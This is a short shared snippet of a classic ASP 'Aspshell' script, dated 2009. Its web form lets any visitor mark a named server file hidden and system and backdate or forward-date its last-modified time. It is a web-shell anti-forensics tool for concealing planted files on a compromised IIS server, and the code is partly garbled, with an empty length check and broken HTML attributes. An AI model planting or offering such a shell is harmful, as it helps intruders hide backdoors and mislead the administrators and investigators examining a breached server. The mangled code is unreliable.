Copy Code code as follows:
<%
' Aspshell to hide and modify the last modification time of a file
' Principle: Through the FSO can modify the properties of the file, such as set to read-only, hidden, system and so on; Attributes properties in FSO Modify file properties, 1 read-only, 2 hidden, 4 system files
' You can reset a last modification time to a file via Shell.Application
' 2009/02/24 write by Skyfire
Response.Write "<form method=post>"
Response.Write "Path: <input name=path value= '" &server.mappath ("/") & "' size= ' > (be sure to end) <br/>"
Response.Write "File name: <input name=filename value= ' test.txt ' size= ' ><br '"
Response.Write "Modified: <input name=time value= ' 12/30/2099 12:30:30 ' size= ' ><br '"
Response.Write "<input type=submit value= Modify and Hide Files >"
Response.Write "</form>"
' Get the submitted parameters
Set Path=request. Form ("path")
Set Filename=request. Form ("filename")
Set Newtime=request. Form ("Time")
if ((Len (path) >0) and (Len () >0) and (Len (newtime) >0)) Then
' Setting file properties through the FSO
Set fso=server.createobject ("Scripting.FileSystemObject")
Set File=fso.getfile (Path&filename)
File.attributes=2+4 ' Set file property to Hidden + system
' Through the shell. Application modify the file's last modified time
Set shell=server.createobject ("Shell.Application")
Set App_path=shell. NameSpace (Server.MapPath ("."))
Set App_file=app_path. ParseName (FileName)
App_file. Modifydate=newtime
End If
%>